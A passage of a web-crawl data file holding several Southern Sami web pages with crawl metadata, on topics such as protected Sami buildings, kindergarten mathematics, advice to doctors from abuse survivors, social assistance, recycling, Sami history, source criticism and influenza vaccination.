vaarjeldihkie jallh vaarjelimmievyörtegs saemien gåeteste?Goh aajhtere dellie datne vihkeles juktie saemien kultuvreaerpiem stoerre aarvojne gorredidh. Mijjieh datnem haestebe dam vaarjeldihkie jallh vaarjelimmievyörtegs gåetiem nuhtjedh. Dovne aerpievuekien åtnoe jallh orre åtnoe. Åtnoe lea bööremes vuekie maam joem gorredidh. Gåetieh mah åtnasuvvieh daamtajommes gorresuvvieh. Gosse faerpie njadtsese dellie vïedtjem måaledh, jïh gosse jïjnje lopme rehpien nelnie dellie lopmem destie baalah åvtelen skaarah sjædta. Doh gåetieh, mejtie ij guhte vuejnieh naan åtnoeaarvoem utnieh, daamtaj tjåadtjoeh slaemieh. Vuesiehtimmien gaavhtan laaroeh, jåartatjeallerh jïh giesiefievsie. Jalhts gåetie ij leah åtnosne, sijhtebe læjhkan datnem haestedh dam gorredidh. Gaatesjen ij iktesth gåaredh. Dellie gåetie læjhkan maahta åadtjodh raeffesne tjåadtjodh jïh jåartese sjïdtedh. Jis åådtje sïjhtebe læjhkan gïejem – mojhtesem – gåetien bïjre jïh saemien årromen jïh jieledevuekien bïjre utnedh. Doh jeanatjommes arkeologeles kultuvremojhtesh goh gåetieaevjieh, aerniesijjieh jïh vijremesvaalkh leah dagkerh prosessi tjïrrh orreme. Dah leah åådtjeme raeffesne årrodh jalhts eah lin vielie åtnosne, jïh leah arkeologeles kultuvremojhtesinie sjïdteme. Jis aajhtere vaarjeldihkie jallh vaarjelimmievyörtegs gåeteste maahtah dåarjoem ohtsedh Bïevnesh jïjtsistie vaarjeldihkie saemien gåetiej bïjre Lohkh vielie Rïjhkeantikvaaren bïevneseplaeresne. Å eie et fredet hus Maahtah vielie bïevnesh daesnie gaavnedh: Bygg og bevar Fortidsminneforeningen: Bygningsvern","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/vaarjelamme-jih-vaarjelimmievyortegs-gaetieh\/datne-aajhtere-vaarjeldihkie-jallh-vaarjelimmievyortegs-saemien-gaeteste\/","date":"2021-12-08T13:59:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964363510.40\/warc\/CC-MAIN-20211208114112-20211208144112-00271.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":184,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Matematihke maanagïertesne raeriestimmieh åtna guktie maahta viehkine stååkedimmeste, spïelijste, gærjijste jnv., maanan gïelem evtiedidh. Dam vuesiehtamme dovne tjaalegigujmie jïh guvviejgujmie.\nMaanah eensilaakan, dæjpeles jïh vihtieslaakan ussjedieh. Gosse maanah stååkedimmien tjïrrh matematihken maallh jïh ussjedimmievuekieh vueptiestieh, dle sijhtieh ånnetji ånnetji matematihkegoerkesem evtiedidh sijjen aarkebiejjien, jïh dam nuhteligs dïrreginie raerhkedh orre voerkesvoetide.\nStååkedimmien tjïrrh maanah daamtaj matematihken dïejvesh dåastoeh. Daate darjomegærja edtja viehkine årrodh maanagïerten barkijidie, guktie dah vueptiestieh jïh skraejriem åadtjoeh juktie buerebelaakan maanide skreejredh guktie dah sijjen matematihkeles maahtoem evtiedieh jïjtsh darjomen jïh gïelen tjïrrh.\nStååkedimmie lea vihkeles maanaj matematihkeevtiedimmesne, jïh maanaj stååkedimmie byöroe jarngesne årrodh. Dah geerve almetjh maanagïertesne tjuerieh sjïehteladtedh ihke maanah edtjieh nuepiem utnedh matematihken dïejvesh dåastoeh. Matematihke ij leah ajve taalh jïh ryökneme, men akte dïrrege juktie veartenem jïh jïjtsh dahkoeh guarkedh jïh buerkiestidh.\nDarjomekåarhtide golme sjïere bieline juakeme:\nD- Dåeriesmoerh loetedh jïh gïeleevtiedimmie\nG- Geometrijen goerkese\nT- Taalegoerkese\nKirsten Wirkola, Tor Aslak Persen jïh Anne Dagmar Biti Mikalsen leah Darjomegærja-Matematihke maanagïertesne dorjeme.\nNöörjen Saemiedigkie lea dåarjoem vadteme daan gærjese.\n(©) ČálliidLágádus – TjaelijiBertemen – Authors'Publisher 2014\nGrafihke barkoe: ČálliidLágádus\nPrint: Waasa Graphics Oy, Vaasa\nISBN 978-82-8263-004-7","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.statped.no\/samisk-spesialpedagogisktjeneste-sead\/sead\/samiskspraklige-laringsressurser\/matematikk-i-barnehagen-pa-samiske-sprak\/matematihke-maanagiertesne\/","date":"2022-01-23T14:56:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304287.0\/warc\/CC-MAIN-20220123141754-20220123171754-00418.warc.gz","language":"sma","language_score":0.9999953508,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999953508377075}","num_words":176,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.097,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aigine Lavra - Giesie Bassegohppesne - Lydbok MP3\nTorkel Rasmussen\nAthos-Ande lea nåajte, sjamane. Dihte lea jijtjemse garanasine dorjeme jih gihtjie Aigine Lavram Satnem dåeriedidh. Dah lopme-vaeriej bijjelen vuemien mietie dåvvese.\nGiesie Bassegohppesne lea rovmana maanide jih noeride. Daesnie maahta Aigine Lavram dåeriedidh saemiej aejles sæjjan voejkenen tjirrh, jih giltegs govledh mij deahpede.\nGærja lea Torkel Rasmussen voestes gærja maanide jih noeride. Aerebe lea gøøkte gærjah maanide tjaaleme.\nLohkeme Johan Martin Stenfjell\nNB! MP3 Lydboken må lades i to timer via USB porten.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.gavpi.org\/skjonnlitteratur\/926-aigine-lavra-giesie-bassegohppesne-lydbok-mp3.html","date":"2022-01-25T00:10:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304686.15\/warc\/CC-MAIN-20220124220008-20220125010008-00246.warc.gz","language":"sma","language_score":0.9984132648,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9984132647514343}","num_words":81,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.111,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IRHKELDH ALMAH FAASTEDÅAKTERI BÏJRE\n\"Gosse leah desnie tjahkan jïh jïjtjedh vearremes vaejvieh joekedeminie jïh dle ij vååjnh reakta seatedeminie guktie datne veele vuajnah jïh damth.\"\n\"Faastedåakterh jallan daejrieh guktie daejnie dååpedidh jis daagkeres aamhtese åvtese båata. Vearremes-ligke gumhtie maahta vaestiedidh; ij satne daagkerem davvoeh.\"\n\"Mov badth faastedåaktere gie håajsoeji govledh. Dïhte aerviedi joe goh voestes aejkien moenim. Mannine soptsesti guktie idtji vååjnh bïlleme jallh hïehkehtalleme gænnah. Dïhte mannem jearsoe darjoeji, juktie munnjan dan man tjaebpies vuekiem vuesiehti.\"\n\"Goh dåaktarasse soptsestim irhkemi bïjre, dellie dan ïskeres dïsse sjïdti. Abpe kaarreste vååjni. Stovlen nelnie tjahkan svïhtjen dan akten. Vïhtesjim badth aaj idtji maam dan bïjre mïelh. Jeehti gujht ahte åesie dejstie mov symptomijste goh jolle vïrredeadtoe jïh måerieh sih lin dellie dïsse veadtaldihkie.\"\n\"Soptsestim irhkemi bïjre. Dïhte jis gihtji mah daalhkesh byöpmedim jïh mah geerve munnjan iehkeden åarajidh. Idtji maam jiehtieh dej irhkemi bïjre. Dellie lij ov-murrede desnie tjahkasjidh.\"\n\"Muvhth dåakterh ussjedieh ij leah seksuelle irhkeme badth mij gænnah. Daejnie golh datne bearkenh…\"\n\"Maahta sån numhtie muvhth dåakterh nyöjhkoeh jïh nehkielieh dam aamhtesem. Kaanne dan lïhkes aamhtesinie sjædta, eah dellie maehtieh dejnie.\"\n\"Faastedåakterh TJUERIEH sïjhtedh jïh doestedh goltelidh dam maam soptsestibie jis gie akt soptseste.\"\n\"Fastedåakterh byöroeh seksuelle irhkemi bïjre maehtedh. Dijjieh dagkarinie sijjesne tjahkan gusnie mïnnebe daamtaj. Dijjieh faastedåakterh lidie ihkie man vihkele jis jeenjebh, dovne maanah noerh jallh stoere-olmetjh gelkieh bïesedh saarnodh.\"\n\"Jis datne dåaktarinie aervedh jallh jaahkah, maahtah soptsestallemisnie astas-ligke jiehtedh; -Govlh. Mov gille akt gyhtjelassh dutnjan. Aellieh goh bïllh, dutnjan sïjhtem gaajhkem bueriem. Mah lea mij dutnjan lyövlehke? Jis maam dååjrehtamme man bïjre ean annje soptsestamme, dle sïjhteme govledh dan bïjre.\"\n\"Jeatjah buerie gyhtjelasse: guktie galkem dååpedidh guktie maehtien hijven-ligke soptsestalledh? Guktie, vïenhth, bööremes maahtam dutnjan dåaktarinie årrodh?\"\nVaajtelimmieh jïh raerieh faastedåaktarasse:\nUtnieh tjaebpies vuekiem. Mijjieh bööremes jïjtjemh tsiehkiem damtebe. Goltelh veele.\nGyhtjelasse irhkemen bïjre byöroe faastedåakteri sïejhme \"goerehtimmiegyhtjelasse\" gaajhkesidie. Dellie sïejhme jïh nuepie aaj gaajhkesidie sjïdteme nimhtemes gyhtjelassem åadtjodh.\nJis irhkemen bïjre maam soptsestibie, ibie edtjh daarpesjidh barre vuelkedh debpelde dijjen luvhtie åvtelen goh aelkiehtamme naan prosessem mijjide.\nJis aamhtese åvtese båata, faastedåaktere badth tjeahta jeenje jeenjebem aamhtesem goerehtalledh, ij edtjh badth gervedh dam.\nJis datne faastedåaktarinie guktie akt aervedeminie, dellie tjoerh dallegh dam aelkedh goerehtidh.\nGaajhkh faastedåakterh gelkieh mïeledh mij dåarjoejarnge lea, jïh gusnie lïhkemes lea.\nGaajhkh faastedåakterh gelkieh mïeledh gåabph raajedh dejtie mah daarpesjieh. Vedtemes-bïevnesh aaj gelkieh lïhketjisnie. Dah maehtieh naan tjaalegh jallh mij jeatjebe.\nTjïehtede badth vijriebasse raajedh dejtie seksuelle irhkeldh pasijeentide man varke gåarede.\nVAAJTELIMMIEH JÏH RAERIEH NAV-BARKIJIDIE\nBuerie jiehtegh NAV-tjåanghkojste:\n\"Daate lij nåake govledh, luvnem datnem viehkiehtidh. Im jaehkieh maahtam dam, galkem gujhth jeatjabinie govlehtidh gie buerebe maahta manneste.\"\n\"Daam tjoerebe aalvere vaeltedh. Hijven-ligke aaj guarkam maam datne daelie saarnoeh. Åtnam datne mavvege gie munnjan soptsesth. Galkem darjodh dam maam maahtam jïh buektehtem.\"\nEah man buerie jiehtegh\nNAV-tjåanghkojste:\n\"Daanbien gaskevahka. Ibie maehtieh måantetje gaskebiejjiem byöpmedidh. Tjoerh guhkiebasse bïesedh daennie jieliemisnie.\"\n\"Ih dån datne dan skïemtje ih maehtieh barkedh juktie irhkemem leah dååjrehtamme?\"\n\"Mah ussjedh dam baajedh biejstedh dov åvteste? Nahkemebiejjieh nahkemebiejjieh, ih edtjh dejtie baajedh biejstedh jïjtjemdh.\"\nVaajtelimmieh jïh raerieh\nNAV-barkijidie:\nPryövh annje guarkedh dagkeres tjeavlijes jiehtiegijstie maahta alvas-ligke baektjiedidh.\nAellieh mijjide soptsesth barre goh luvnh bijjelde våålese mijjem veartasjamme.\nVuajnah gihtjh.\nJiehtieh jis ih suerkiem damth jïh raajh dam olmetjem jeatjabasse.\nUssjedh dam olmetjem, aellieh goh låhkoeh jallh statistihkh.\nÅrroeh laahtjere jïh dujmies.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/aarjel.utsattmann.no\/til-fagfolk\/","date":"2022-05-20T16:20:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662533972.17\/warc\/CC-MAIN-20220520160139-20220520190139-00177.warc.gz","language":"sma","language_score":1.0000038147,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"sma_Latn_score\": 1.0000038146972656}","num_words":542,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jis dov baalhkah ij leah nuekies dov jallh dov fuelhkien maadthdaarpoeh jïh datne årroeh Upmejen tjïeltesne dov lea reakta fassemedåarjoem (sosiaaledåarjoe) sosiaaletjeanadimmeste ohtsedidh.\nFassemedåarjoe dejtie gieh ij maehtieh nuekies baalhka bakojne åadtjodh. Dåarjoe lea haammodamme juktie maadthdaarpojde nuekies goh beapmoeh, årromesijjie j.n.v. Dåarjoem fïerhten asken ohtsede jïh gåetehkh\/pruvres almetjh ekstesne ohtsedægan.\nJis datne fassemedåarjoem ohtsede dellie sosiaaletjeanadimmie krïevie datna gaajhkem maam maahtah darjodh jijtse beetnegh dienedh jallh ekonomijen dåeriesmoeride vaestedh. V.g. tjoerh iedtjeles barkoeohtseje årrodh jïh barkohts. Jis dov leah v.g. beetnegh baanghkesne, aktierh jallh fondh edtjieh dah voestes iereste dov jielemasse nuhtjh. Datne maahtah ajve fassemedåarjoem åadtjodh jis ih maehtieh dov daarpoeh jeatjah vuekine gïetedidh. Ussjedh jis dov lea bijle dellie maahtah tjoeredh dam doekedh juktie jijste dov ekonomijen dåeriesmoerh gïetedidh.\nUpmejisnie årroeminie — sosiaaletjeanadimmien dåastovasse bieljeldh telefovne 090-16 10 02.\nHolmsundesne, Hörneforsesne jallh Sävarisnie årroeminie — tjïelten viekselasse ringkh 16 10 00, dov ierem tjïelkesh jïh gusnie årroeh dellie vijrebe riektes sæjjan beaja.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/sosiaalenhoksehtimmieh\/fassemedaarjoe.4.333c64e217718860a231106.html","date":"2022-05-24T04:57:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662564830.55\/warc\/CC-MAIN-20220524045003-20220524075003-00466.warc.gz","language":"sma","language_score":1.0000054836,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000054836273193}","num_words":147,"character_repetition_ratio":0.073,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bååstideåtnoecentralh leah stuerebe sijjieh gusnie maahta gaajhkem sorhpem biejedh, mohte ij tjöökensorhph. Upmejen tjïeltesne lea govhte bååstideåtnoecentralh gusnie gåetie maahta åesehts sorhph såafoesijjeste, vaaregs sorhph, el-sorhph (v.g. båeries daatovrh jïh raadijovh), bæjngoldspahkh jïh avijsh biejedh.\nDïhte bååstideåtnoecentrale mij lea staaren lihkemes lea Gimonäsesne. Holmsundese vuaja jïh voestes geajnose åelkiesbielesne Strömpilesne rondellen mænngan svihtjh, vuartesjh sjiltese dan mænngan.\nLohkh gåessie bååstideåtnoecentralh rihpes Länk till annan webbplats, öppnas i nytt fönster.\nBïevnesh sveerjen gïelesne\nDah gieh bååstideåtnoecentralide berkieh datnem viehkiehtieh jïh vuesiehtieh gusnie datne edtjh ovmesse sorhph biejedh. Dah mah bååstideåtnoecentralide tjåegkedh dan mænngan bååstideåtnose, energijeåtnose jallh deponeringasse juhtieh.\nGosse orre produkth åasta goh jueskiedahkem, gilmedahkem, bissememasjijnem, TV´em, raadijovem, juhtjijem jallh badterijh dellie maahta dam båeries produktem bovrese laehpedh.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.umea.se\/kommunochpolitik\/languages\/samiengiallije\/siebredahkehoksetimmieh\/sjiekedimmiesorhpegietedimmie\/baastideatnoecentralh.4.333c64e217718860a231259.html","date":"2022-05-21T22:21:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662541747.38\/warc\/CC-MAIN-20220521205757-20220521235757-00593.warc.gz","language":"sma","language_score":0.9999507666,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999507665634155}","num_words":117,"character_repetition_ratio":0.111,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.077,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieh\nOrrestaaren tjïelte lea biehkie Sveerjeste, men aaj biehkie Saepmeste, saemiej laante. Saepmie lea abpe noerhte dajve Noerhtekalotteste, russlaanten Kola-njarkeste luvlielisnie sveerjen laantedajvese Dalarna åarjene. Saemieh akte veartenen aalkoealmetjistie. Aalkoealmetje lea almetjedåehkie mah seamma sijjesne orreme, jïh jïjtje kultuvrem jïh gïelem åtna.\nSaemieh leah båatsoen ektesne tjatneme. Daan biejjien ajve medtie 10 % saemijste Sveerjesne gïeh båatsojne gïetedieh jïh histovrijen mietie ij leah gaajhkem dejnie barkeme. Mohte bovtsh leah orreme saemiej vihkielommes baalhka. Dïhte eelki dah gedtiej rahtjemem dåeriedin vaeriej jïh mearoegaedtien gaskem jïh aejkien mietie jienebe jïh jienebe bovtsh utniejin. Boelhkesne saemieh edtjien dej skaehtiem maeksedh bovtsigujmie. Dellie tjoerin jienebe bovtsh utnin guktie galkin maehtedh skaehtiem maeksedh.\nGuektien gïerten jaepesne krievviem jïh abpe fuelhkiem juhtin skåajjeste mearoegaedtien lïhke bæjjese vaeride. Juhteme meehtie medtie 40 mijlh. Eenje juhtieh krievviem vaereste skåajjese jïh skåajjeste vaaran mohte daan biejjien ij abpe fuelhkiem daarpesjh vaedtsedh.\nSaemienfåvhta\nGosse saemieh 1600-låhkoen aalkoevisnie eelkien dej skaehtiem maeksedh gööline jïh bovtsine, sijjeste naehkijste jïh dueljijste, staate åadtjoeji dan jïjtje ealoeh. Dejtie sjïere saemienfåvhtah ryöjnesjin.\nSåaknesaemieh\nSåaknesaemieh åadtjoejin baalhkah såaknesne gosse dah hierkieh leekin, gaetskiejin jïh njellin, men aaj gaahtoeh jïh bïenjh. Dah lin aaj daamtaj væjkeles roehtsigujmie barkedh jïh darjoejin gaskem jeatjah kåarjh jïh nuehtierïejhph. Gosse båantaj tabuem hierkieleekemen vööste orriji dellie dah saemieh vætnarassjh sjïdtin jïh såaknesaemieh haajpanin 1800-låhkoen minngiegietjesne.\nVuemiesaemie\nVuemiesaemie krievviestuhtjem åtna gaavalohkigujmie. Gaavalohkh utnin jïh gedtieh dejgujmie tjöönghkin. Gedtieh gååvnesin gaskoeh 1800-låhkoen raajan. Vuemiesaemieh åejviejielemh lin gööleme jïh vïjreme. Bovtsh boelhkine rahtjedin jïh boelhkine vihte dejtie tjöönghkin, jïh vuesiehtimmien gaavhtan dejtie buhtjin.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/saemieh","date":"2022-05-29T02:48:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00308.warc.gz","language":"sma","language_score":1.000002861,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000028610229492}","num_words":246,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie laavenjassesne edtjh filme-gïelem jïh soptsestimmie-vuekiem buerkiestidh filmesne Hilbes biigá.\nAkte filme soptsesh soptsestieh mah mijjem tsevtsieh jïh aaj mijjem eadtjalguvvieh. Aktene filmesne guvvieh, mah svihtjieh, jïh tjoeje viehkie-dïrreginie nuhtjesuvvieh. Daaroen nedte-sijjie Montages buerkeste guktie Nango viehkie-dïrregh nuhtjie filmesne Hilbes biigá.\nNaemhtie tjaala:\nNango skreejrehtimmiem veedtjie musihke-videovijste jïh filmijste amerijhkeste mah maehtebe gåhtjodh road movies, goh lïhke-guvvieh mah klienjieh, guvvie-låtnoehtimmieh, jïh garre musihke.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/ndla.no\/nn\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:178138","date":"2022-05-25T06:10:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662580803.75\/warc\/CC-MAIN-20220525054507-20220525084507-00113.warc.gz","language":"sma","language_score":0.9999371767,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9999371767044067}","num_words":63,"character_repetition_ratio":0.083,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne maahtah dov gaaltijidie jaehkedh? Gosse edtjh gaaltijh nuhtjedh dellie vihkele gaaltijidie vuarjasjidh. Datne gaaltije-laejhtemem nuhtjh gosse vuarjesjh jis gaaltije hijven.\nMij gaaltije-laejhteme?\nDatne maahtah dov gaaltijidie jaehkedh? Gosse edtjh gaaltijh nuhtjedh, dellie tjoerh gaaltijidie vuarjasjidh. Datne gaaltije-laejhtemem nuhtjh gosse vuarjesjh jis gaaltije hijven.\nMaahtah gaaltijh ovmessie sijjine ohtsedidh jïh ussjedammes gaaltijh leah v.g. learoe-gærjah, leksikovnh, faage-leksikovnh jïh baakoe-gærjah, gïete-gærjah jïh artihkele-tjåanghkoeh, monografijh jïh faage-plaerieh, dotkeme-reektesh, byjjes tjaalegh, statistihkh, juridihken nedte-sæjroeh goh v.g. Lovdata.\nGaaltije-laejhteme vuesehte datne maahtah laejhtehks gaaltijidie årrodh mejtie nuhtjh. Maahtah v.g. tjaeledh: «Manne dan jïjnjh bïevnesh aamhtesen bïjre gaavneme. Gïerve munnjien sjïdti veeljedh mah gaaltijh vihkielommes. Manne leam tjaalegi luhpievoetem, mearelesvoetem jïh nænnoesvoetem vuarjasjamme.»\nRaerieh guktie gaaltijh vuarjasjidh\nGosse datne edtjh gaaltijh nedtesne vuarjasjidh, dellie vihkele datne daejtie tsiehkide goerehth:\n- Gie bïevnesem bæjhkoehtamme?\n- Mij nedte-sæjroen åssjele? Maahtah sæjroeh leajhtadidh guktie byögkeles nedte-sæjroeh, nedte-plaerieh, skuvlegærja-bertemi nedte-sæjroeh jïh NDLA.\n- Bïevnesh jallh tsevtseme? Ovmessie siebrieh jïh sïelth nedte-sæjroeh utnieh gusnie jïjnjh aevhkies bïevnesh. Joekoen vihkele datne bïevnesh daejstie sæjrojste vuarjesjh eannan dejtie nuhtjh. Mujhtieh vuarjasjidh mejtie siebrieh jallh sïelth sijhtieh mijjem bïevnedh, tsevtsedh jallh ajve beetnegh dïenesjidh.\n- Mujhtieh gaaltijem jeatjah gaaltiji vööste goerehtidh. Gie sæjroem tjaaleme? Goerehth tjaelijem (barkoe, kvalifikasjovnh).\n- Mujhtieh aaj goerehtidh gåessie gærja jallh nedte-sæjroe tjaaleme. Jis edtjh sjyöhtehke heannadimmiej bïjre tjaeledh, dellie tjoerh bïevnesh nedte-sæjrojste nuhtjedh mah daamhtah orrestamme.\nBaakoe-buerkiestimmieh:\nMaerelesvoete: gaaltije mij maam akt jeahta dov gyhtjelassi bïjre\nLuhpievoete jïh nænnoesvoete: mij teekste\/tjaalege, gie tjaaleme, gïese tjaaleme, man gaavhtan tjaelije daan bïjre tjaaleme, mij teeksten åssjele, gåessie teekste tjaaleme.\nBaakoeh\nSaemien\nDaaroen\ngaaltije-laejhteme\nkildekritikk\nluhpievoete\ngyldighet\nmaerelesvoete\nrelevans\nnænnoesvoete\nholdbarhet","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/nb\/subject:1:a532138d-e16a-4046-a46e-bd5bc9487b8b\/topic:4:191706\/resource:1:191723","date":"2022-06-24T22:19:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103033816.0\/warc\/CC-MAIN-20220624213908-20220625003908-00078.warc.gz","language":"sma","language_score":1.0000036955,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000003695487976}","num_words":255,"character_repetition_ratio":0.081,"word_repetition_ratio":0.016,"special_characters_ratio":0.15,"stopwords_ratio":0.067,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Naaken almetjidie byöroeh vaksineeredh\nNaan maehtieh garres sohteste skïemtjedieh jïh itjmies skïemtjelassh minngesne åadtjodh, vuesiehtimmieh gåblojste. Dan gaavhtan dah byöroeh vaksineeredh.\nDatne byörh vaksineeredh jis naemhtie:\n- Datne 65 jaepien båeries jallh båarasåbpoe.\n- Datne nåajsan, graviditeetevåhkoen 16 minngesne, jallh aarebi jis byörh vaksineeredh jeatjah sjïeki gaavhtan.\n- Datne vaajmoeskïemtjelassem åtnah.\n- Datne gåbloeskïemtjelassem åtnah.\n- Datne diabeetesem åtnah.\n- Datne skïemtjelassem åtnah jallh daalhkesh vaaltah mestie dov kråahpe vaenie vaarjelimmiem åådtje infeksjovni vööste.\n- Datne sveehkes librie jallh tjiermieh åtnah.\n- Datne buajtehks.\n- Datne skïemtjelassem åtnah åedtjine jallh neervine mestie gïerve voejngehth.\n- Datne gelliefunksjovneheaptoeh åtnah.\n- Datne dåeriesmoerh åtnah voejngehth, gïerve gossehth jallh gurhkesth.\nByöremh geerve almetjidie jïh maanide båarasåbpoe govhte aski båeries.\nAlmetji fuelhkie giej dan nåake vaarjelimmiem utnieh infeksjovni vööste byöroeh sohten vööste vaksineeredh guktie dejtie vaarjelidh.\nDaarpesjh fïerhten jaepien vaksineeredh\nGosse datne vaksineereme dellie daan jaepien sovhtevijrusen vööste vaarjelidh. Vaarjelimmie jåhta guhkemes akte jaepie jïh dan gaavhtan daarpesjh fïerhten jaepien vaksineeredh. Vaksijne sjïehtede sjyöhtehke vijrusen vööste vaarjelidh.\nVaksinasjovne pneumokogkeri vööste\nSeamma almetjh goh bijjene, ij goh nåajsan, byöroeh aaj pneumokogkeri vööste vaksineeredh.\nGusnie maahtam vaksineerem?\nDatne dov healsoejarngesne jallh skïemtjeståaposne vaksineeredh.\nNaemhtie vaksineeredh\nÅadtjoeh sohtevaksijnem stratjken tjïrrh. Bijjiegïetem stratjkedh. Maanah nuerebe govhten jaepien daamhtaj vaksijnem åadtjoeh ruaksjese. Maanide båarasåbpoe göökte jaepien båeries jïh noeride 18 jaepien raajan gååvnese aaj vaksijne mij njuanan spreejredh.\nVaksinasjovnen mænngan maahta rååpsedidh jïh baajskodh gusnie stratjkem åadtjoejih. Maahta aaj dam damtedh. Maahtah vaejliem åadtjodh, åejjieh saejriedieh jïh åedtjieh baaktjedieh. Maanah kaanne eah sïjhth byöpmedidh dan jïjnje jïh dej tjåejjieh skrovrestieh. Dah maehtieh ryöhkedh akte jallh måedtie biejjieh.\nGåessie im byörh vaksineeredh?\nIh edtjh vaksineeredh jis vaejlie.\nJis ih maehtieh beapmoeh byöpmedidh mesnie munnieh allergijen gaavhtan, ih maehtieh vaksineeredh sohten vööste.\nNåajsan jïh njammemisnie\nIj naan vaahrah sohten vööste vaksineeredh jis nåajsan jallh njammemisnie.\nMaahtah skïemtjedidh garrebe sohteste enn edtjh sjïdtedh jis ih nåajsan. Dan gaavhtan byöroeh datne gie nåajsan vaksineeredh. Vaksijne aaj slïedtjem vaarjele.\nDatne byöroeh vaksineeredh nåajsanvåhkoen 16 mænngan, jallh aarebi jis byöroeh vaksineeredh mubpiej sjïeki gaavhtan.\nMaam maaksam?\nVästerbottenisnie lea vaksinasjovnem influensan vööste namhtah dutnjien gie vaahresne itjmies skïemtjedidh jis influensam åadtjoeh. Mubpide lea åasa 250 kråvnah.\nJis skïemtjedh\nJis datne sovhtine jïlhts leah vaksineereme dellie symptomh daamhtaj lïenede.\nÅrroeh gåetesne jis vaejlie jïh skïemtjes damth. Gossehth jïh gesjnieh gaejnelasse jïh bïssh gïetede daamhtaj guktie ih laanesth.\nJis datne almetje mij byöroeh vaksineeredh jïh sovhtem åadtjoeh edtjh hoksem gaskesadtedh.\nTsevtsieh jïh meatan årroeh dov hoksesne\nJis datne edtjh meatan årrodh dov hoksesne jïh gïetedimmesne vihkeles datne bïevnesh guarkedh mah hoksebarkijistie åadtjoeh. Gihtjh jis ih guarkah. Maahtah viehkiem åadtjodh toelhkestidh jis ih daarosth.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/vaccination-mot-influensa---andra-sprak---vasterbotten\/","date":"2022-06-28T08:47:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103360935.27\/warc\/CC-MAIN-20220628081102-20220628111102-00379.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 